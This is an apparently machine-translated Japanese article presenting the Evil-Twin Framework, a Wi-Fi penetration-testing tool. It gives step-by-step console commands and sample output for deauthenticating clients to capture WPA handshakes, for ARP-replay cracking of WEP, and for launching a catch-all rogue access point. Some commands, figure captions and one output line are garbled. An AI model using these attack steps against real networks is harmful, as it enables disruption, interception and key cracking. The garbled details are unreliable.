DUICUO

Evil-Twin Framework: WiFiセキュリティを向上させるツール

[[258125]]

WiFi アクセス ポイントのセキュリティの侵入テストに使用されるツールについて学習します。

ワイヤレスでインターネットに接続するデバイスが増加し、Wi-Fiアクセスポイントが広く普及するにつれ、攻撃者はユーザーを侵害する機会を数多く得ています。ユーザーを偽のWi-Fiアクセスポイントに接続させることで、攻撃者はネットワーク接続を完全に制御できます。これにより、ユーザーのデータパケットを傍受・改ざんしたり、悪意のあるウェブサイトへの接続をリダイレクトしたり、ネットワーク全体にその他の攻撃を仕掛けたりすることが可能になります。

ユーザーを保護し、危険なオンライン行動を回避する方法を伝えるために、セキュリティ監査担当者や研究者は、ユーザーのセキュリティ対策を評価する必要があります。ユーザーはセキュリティを確認せずにWi-Fiアクセスポイントに接続することが多く、監査担当者や研究者はその理由を理解する必要があります。Wi-Fiセキュリティを監査するためのツールは数多く存在しますが、幅広い攻撃シナリオをテストしたり、他のツールと適切に統合したりできるツールは存在しません。

Evil-Twin Framework(ETF)は、Wi-Fi監査プロセスにおけるこれらの問題に対処します。監査人はETFを使用することで、様々なツールを統合し、様々なシナリオにおけるWi-Fiネットワークのセキュリティをテストできます。この記事では、ETFのフレームワークと機能を紹介し、このツールの使用方法を示すケーススタディを紹介します。

ETFの構造

ETFフレームワークはPythonで書かれています。このプログラミング言語のコードは可読性が高く、他の開発者がプロ​​ジェクトにコードを提供しやすいためです。さらに、Scapyをはじめとする多くのETFライブラリはPython用に開発されているため、ETFで簡単に利用できます。

ETFのアーキテクチャ(図1)は、相互に作用する複数のモジュールに分割されています。フレームワークのすべての設定は、単一の構成ファイルに記述されています。ユーザーはConfigurationManagerクラスのユーザーインターフェースを通じてこれらの設定を確認および変更できます。他のモジュールは、これらの設定を読み取り、それに応じた動作を行うことしかできません。

図1: Evil-Twinのフレームワークアーキテクチャ

ETFは、フレームワークとの対話型操作のための複数のユーザーインターフェースをサポートしています。現在のデフォルトインターフェースは、Metasploitに類似した対話型コンソールインターフェースです。デスクトップ/ブラウザ用のグラフィカルユーザーインターフェース (GUI) とコマンドラインインターフェース (CLI) は現在開発中であり、将来的にはモバイルインターフェースもオプションとして追加される予定です。ユーザーは対話型コンソールインターフェースを使用して、設定ファイルの設定を変更できます(最終的にはGUIも使用される予定です)。このユーザーインターフェースは、このフレームワーク内に存在するすべてのモジュールと連携できます。

WiFiモジュール(AirCommunicator)は、様々なWiFi機能と攻撃タイプをサポートしています。このフレームワークは、Wi-Fi通信の3つの基本的な柱である、パケットスニッフィング、カスタムパケットインジェクション、アクセスポイント作成を定義しています。3つの主要なWiFi通信モジュール(AirScanner、AirInjector、AirHost)は、それぞれパケットスニッフィング、パケットインジェクション、アクセスポイント作成に使用されます。これらの3つのクラスは、メインのWiFiモジュールであるAirCommunicatorにカプセル化されており、AirCommunicatorはこれらのサービスを起動する前に設定ファイルを読み取ります。これらのコア機能の1つ以上を使用することで、あらゆる種類のWiFi攻撃を構築できます。

中間者 (MITM) 攻撃 (WiFi クライアントを攻撃するための一般的な手法) を使用するために、ETF には ETFITM (Evil-Twin Framework-in-the-Middle) と呼ばれる統合モジュールがあり、通過する HTTP/HTTPS パケットを傍受して変更する Web プロキシを作成します。

ETFが作成したMITMは、他の多くのツールでも活用できます。ETFは拡張性に優れているため、これらのツールを個別に呼び出すことなくサポートできます。Spawnerクラスを拡張することで、これらのツールをフレームワークに追加できます。これにより、開発者やセキュリティ監査担当者は、フレームワーク内で事前に設定されたパラメータ文字列を使用してプログラムを呼び出すことができます。

ETFを拡張するもう一つの方法は、プラグインを使用することです。プラグインには、WiFiプラグインとMITMプラグインの2種類があります。MITMプラグインは、MITMエージェントの実行時に実行されるスクリプトです。エージェントはHTTP(S)リクエストとレスポンスをプラグインに渡し、プラグインはそれらを記録して処理します。WiFiプラグインはより複雑な実行フローに従いますが、開発に参加して独自のプラグインを使用したい貢献者向けに、比較的シンプルなAPIを提供しています。WiFiプラグインはさらに3つのカテゴリに分類でき、それぞれがコアとなるWiFi通信モジュールに対応しています。

各コアモジュールには、対応するプラグインの実行をトリガーする特定のイベントがあります。例えば、AirScannerには3つの定義済みイベントがあり、その応答はプログラムで処理できます。これらのイベントは通常、サービス実行前のセットアップフェーズ、サービス実行中の中間実行フェーズ、そしてサービス終了後のアンロードまたはクリーンアップフェーズに対応します。Pythonは多重継承をサポートしているため、プラグインは複数のプラグインクラスを継承できます。

上の図1は、フレームワークのアーキテクチャの概要を示しています。ConfigurationManagerから伸びる矢印は、モジュールがそこから情報を読み取ることを示し、ConfigurationManagerに伸びる矢印は、モジュールが構成に書き込みまたは変更を行うことを示します。

ETFの使用例

ETFは、Wi-FiネットワークセキュリティやエンドユーザーのWi-Fiセキュリティ認識に関する侵入テストを様々な方法で実行できます。以下の例は、アクセスポイントとクライアントの検出、WPAおよびWEPプロトコルを使用したアクセスポイントへの攻撃、悪意のある双子アクセスポイントの作成など、フレームワークの侵入テスト機能の一部を示しています。

これらの例は、ETFとWiFiデータキャプチャを可能にするWiFiカードを使用して設計されています。また、ETF設定コマンドでは以下の略語を使用しています。

  • APSアクセスポイント SSID
  • APBアクセスポイント BSSID
  • APCアクセスポイント チャネル
  • CMクライアントMACアドレス

実際のテスト シナリオでは、正しい情報を使用してこれらの略語を置き換えるようにしてください。

認証復号化攻撃後の WPA 4 ウェイ ハンドシェイク パケットをキャプチャします。

このシナリオ (図 2) では、次の 2 つの側面が考慮されます。認証解除攻撃認証解除攻撃このシナリオでは、WPAの4ウェイハンドシェイクパケットをキャプチャします。まず、WPA/WPA2対応のアクセスポイントにクライアントデバイス(この場合はスマートフォン)が接続されています。目標は、標準的な認証解除攻撃(DoS攻撃に類似)を用いてクライアントをWi-Fiネットワークから切断し、その後クライアントが再接続を試みる際にWPAハンドシェイクパケットをキャプチャすることです。そして、最初の切断直後に手動で再接続を実行します。

図 2: 認証攻撃後の WPA ハンドシェイク パケットをキャプチャするシナリオ。

この例では、ETFの信頼性を考慮する必要があります。目標は、ツールがWPAハンドシェイクパケットを一貫してキャプチャできることを確認することです。各ツールを使用してこのシナリオを複数回再現し、WPAハンドシェイクパケットのキャプチャにおける信頼性を確認します。

ETFを使用してWPAハンドシェイクパケットをキャプチャする方法は複数あります。1つはAirScannerモジュールとAirInjectorモジュールを組み合わせて使用​​する方法で、もう1つはAirInjectorモジュールのみを使用する方法です。以下のシナリオでは、両方のモジュールを組み合わせて使用​​しています。

ETFはAirScannerモジュールを使用してIEEE 802.11データフレームを解析し、WPAハンドシェイクパケットを検出します。AirInjectoは認証解除攻撃を用いてクライアントを強制的に切断・再接続させることができます。これを実現するには、ETFで以下の手順を実行する必要があります。

  1. AirScanner設定モードに入ります: config airscanner
  2. AirScannerがチャンネルをスキップしないように設定します: config airscanner
  3. WiFiアクセスポイントチャネル(APC)を通過するデータをスニッフィングするためのチャネルを設定します: set fixed_sniffing_channel = <APC>
  4. CredentialSnifferプラグインを使用してAirScannerモジュールを起動します: start airscanner with credentialsniffer
  5. 対象のアクセス ポイントの BSSID (APS) を、すでにスニッフィングされているアクセス ポイントのリストに追加します。add add aps where ssid = <APS>
  6. start airinjectorモジュールを有効にします。デフォルトでは認証解除攻撃が有効になります。

これらのシンプルなコマンド設定により、ETFはすべてのテストで認証解除攻撃を成功裏に効果的に実行できます。また、ETFはすべてのテストでWPAハンドシェイクパケットをキャプチャすることもできます。以下のコードは、ETFの実行が成功した例です。

  1. ███████╗████████╗███████╗
  2. ██╔════╝╚══██╔══╝██╔════╝
  3. █████╗     ██║   █████╗  
  4. ██╔══╝     ██║   ██╔══╝  
  5. ███████╗   ██║   ██║    
  6. ╚══════╝   ╚═╝   ╚═╝    
  7.                                        
  8. [+] Do you want to load an older session ? [ Y / n ]: n
  9. [+] Creating new temporary session on 02 / 08 / 2018
  10. [+] Enter the desired session name :
  11. ETF [ etf / aircommunicator /]::> config airscanner
  12. ETF [ etf / aircommunicator / airscanner ]::> listargs
  13. sniffing_interface = wlan1 ; ( var )
  14. probes =                 True ; ( var )
  15. beacons =                 True ; ( var )
  16. hop_channels =               false ; ( var )
  17. fixed_sniffing_channel =                   11 ; ( var )
  18. ETF [ etf / aircommunicator / airscanner ]::> start airscanner with
  19. arpreplayer caffelatte credentialsniffer packetlogger selfishwifi
  20. ETF [ etf / aircommunicator / airscanner ]::> start airscanner with credentialsniffer
  21. [+] Successfully added credentialsniffer plugin .
  22. [+] Starting packet sniffer on interface 'wlan1'
  23. [+] Set fixed channel to 11
  24. ETF [ etf / aircommunicator / airscanner ]::> add aps where ssid = CrackWPA
  25. ETF [ etf / aircommunicator / airscanner ]::> start airinjector
  26. ETF [ etf / aircommunicator / airscanner ]::> [+] Starting deauthentication attack
  27.                     - 1000 bursts of 1 packets
  28.                     - 1 different packets
  29. [+] Injection attacks finished executing .
  30. [+] Starting post injection methods
  31. [+] Post injection methods finished
  32. [+] WPA Handshake found for client '70:3e:ac:bb:78:64' and network 'CrackWPA'

ARPリプレイ攻撃を使用してWEPワイヤレスネットワークを解読する

以下のシナリオ(図3)は、アドレス解決プロトコル(ARP)リプレイ攻撃の効率と、初期化ベクトル(IV)を含むWEPパケットのキャプチャ速度に焦点を当てています。同じネットワークでも、キャプチャしたIVの数は異なる場合があるため、このシナリオではIVの上限を50,000としています。最初のテストで50,000個のIVをキャプチャする前にネットワークがクラ​​ッシュした場合、実際にキャプチャしたIVの数が、その後のテストにおけるネットワークの新しい上限となります。パケットのクラッキングにはaircrack-ng使用しています。

テストシナリオは、WEPプロトコルで暗号化されたWi-Fiアクセスポイントと、そのキーを知っているオフラインクライアントデバイスから始まります。テストの便宜上、キーには12345を使用していますが、より長く複雑なキーを使用することもできます。クライアントがWEPアクセスポイントに接続すると、不要なARPパケットが送信されます。このパケットがキャプチャされ、再生されます。IVを含むキャプチャパケットの数が設定された制限に達すると、テストは終了します。

図 3: 認証解除攻撃を実行した後に WPA ハンドシェイク パケットをキャプチャするシナリオ。

ETFは、パケットスニフィングとインジェクションにPythonのScapyライブラリを使用しています。Scapyの既知のパフォーマンス問題を最小限に抑えるため、ETFはいくつかの低レベルライブラリを微調整し、パケットインジェクションを大幅に高速化しました。この特定のシナリオでは、ETFはより効率的なスニフィングを実現するために、Scapyではなくtcpdumpバックグラウンドプロセスとして使用しています。Scapyは暗号化されたARPパケットを識別するために使用されます。

このシナリオでは、ETF に対して次のコマンドと操作を実行する必要があります。

  1. AirScanner設定モードに入る: config airscanner
  2. AirScannerがチャンネルをホッピングしないようにするには: set hop_channels = false
  3. アクセスポイントチャネル(APC)を通過するデータをスニッフィングするためのチャネルを設定します: set fixed_sniffing_channel = <APC>
  4. ARPReplayerプラグイン設定モードに入ります: config arpreplayer
  5. WEPネットワーク内のターゲットアクセスポイントのBSSID(APB)を設定します: set target_ap_bssid <APB>
  6. ARPReplayerプラグインを使用してAirScannerモジュールを起動するには: start airscanner with arpreplayer

これらのコマンドを実行した後、ETF は暗号化された ARP パケットを正しく識別し、ARP リプレイ攻撃を正常に実行してネットワークを侵害します。

オールインワンのハニーポットを使用する

図4のシナリオでは、同じSSIDを使用して複数のアクセスポイントを作成しています。この手法により、検出は可能だがアクセスできないWi-Fiネットワークの暗号化タイプを検出できます。すべてのセキュリティ設定を適用した複数のアクセスポイントを起動することで、クライアントはローカルにキャッシュされたアクセスポイント情報と一致するアクセスポイントに自動的に接続します。

図 4: 認証解除攻撃後の WPA ハンドシェイク パケット データのキャプチャ。

ETFを使用すると、 hostapd設定ファイルを設定し、プログラムをバックグラウンドで起動できます。hostapd hostapd 、仮想インターフェースを設定することで、単一の無線ネットワークカード上に複数のアクセスポイントを開くことができます。また、あらゆる種類のセキュリティ設定をサポートしているため、完全なオールインワンハニーポットとして構成できます。WEPおよびWPA(2)-PSKを使用するネットワークではデフォルトのパスワードを使用し、WPA(2)-EAPを使用するネットワークでは「Accept All」ポリシーを設定してください。

このシナリオでは、ETF に対して次のコマンドと操作を実行する必要があります。

  1. APLauncher設定モードに入る: config aplauncher
  2. 対象アクセスポイントのSSID(APS)を設定します: set ssid = <APS>
  3. APLauncher がすべてのハニーポットを受信するように設定します: set catch_all_honeypot = true
  4. AirHostモジュールを起動します: start airhost

これらのコマンドを使用することで、ETFはあらゆる種類のセキュリティ設定を含む完全なオールインワンハニーポットを起動できます。また、ETFはDHCPサーバーとDNSサーバーを自動的に起動し、クライアントがインターネット接続を維持できるようにします。ETFは、オールインワンハニーポットを作成するための、より優れた、より高速で、より包括的なソリューションを提供します。以下のコードは、ETFの正常な実行例です。

  1. ███████╗████████╗███████╗
  2. ██╔════╝╚══██╔══╝██╔════╝
  3. █████╗     ██║   █████╗  
  4. ██╔══╝     ██║   ██╔══╝  
  5. ███████╗   ██║   ██║    
  6. ╚══════╝   ╚═╝   ╚═╝    
  7.                                        
  8. [+] Do you want to load an older session ? [ Y / n ]: n
  9. [+] Creating ne ´, cxzw temporary session on 03 / 08 / 2018
  10. [+] Enter the desired session name :
  11. ETF [ etf / aircommunicator /]::> config aplauncher
  12. ETF [ etf / aircommunicator / airhost / aplauncher ]::> setconf ssid CatchMe
  13. ssid = CatchMe
  14. ETF [ etf / aircommunicator / airhost / aplauncher ]::> setconf catch_all_honeypot true
  15. catch_all_honeypot = true
  16. ETF [ etf / aircommunicator / airhost / aplauncher ]::> start airhost
  17. [+] Killing already started processes and restarting network services
  18. [+] Stopping dnsmasq and hostapd services
  19. [+] Access Point stopped ...
  20. [+] Running airhost plugins pre_start
  21. [+] Starting hostapd background process
  22. [+] Starting dnsmasq service
  23. [+] Running airhost plugins post_start
  24. [+] Access Point launched successfully
  25. [+] Starting dnsmasq service

結論と今後の課題

これらのシナリオでは、一般的かつよく知られた攻撃手法を用いて、ETFのWi-Fiネットワークおよびクライアントテスト能力を検証しています。また、この結果は、フレームワークのアーキテクチャが既存のプラットフォーム機能を活用して、新たな攻撃ベクトルや機能を開発できることも示しています。コードの大部分は既に記述されているため、新しいWi-Fiペネトレーションテストツールの開発が加速されます。さらに、Wi-Fiテクノロジー関連の要素を単一のツールに統合することで、Wi-Fiペネトレーションテストがよりシンプルかつ効率的になります。

ETF の目標は、既存のツールを置き換えることではなく、既存のツールを補完し、WiFi 侵入テストを実施してユーザーのセキュリティ意識を高める際に、セキュリティ監査人に優れたオプションを提供することです。

ETFはGitHub上のオープンソースプロジェクトであり、コミュニティの皆様は開発への貢献を歓迎いたします。以下に、皆様からの開発への貢献方法をいくつかご紹介します。

現在のWiFiペネトレーションテストの限界は、テスト中の重要なイベントをログに記録できないことです。これにより、特定された脆弱性の報告が困難になり、精度も低下します。このフレームワークでは、各クラスがアクセスできるロガーを実装し、ペネトレーションテストセッションレポートを作成できます。

ETFツールは、WiFiペネトレーションテストのあらゆる側面をカバーしています。一方で、WiFiターゲットの偵察、脆弱性の発見、そして攻撃を容易にします。一方で、便利なレポート機能が欠けています。セッションの概念と、セッション中の重要なイベントのログ記録といったセッションレポート機能を追加することで、実際のペネトレーションテストシナリオにおけるツールの価値は大幅に向上するでしょう。

もう一つの貴重な貢献は、Wi-Fiファジングを容易にするためにフレームワークを拡張したことです。IEEE 802.11プロトコルは、クライアント側とアクセスポイント側の両方で複数の実装が存在するため、非常に複雑です。これらの実装にはバグやセキュリティ上の脆弱性が含まれていると想定されます。これらのバグは、IEEE 802.11プロトコルのデータフレームをファジングすることで発見できます。Scapyはカスタムパケットの作成とインジェクションが可能なため、これを用いてファジングツールを実装できます。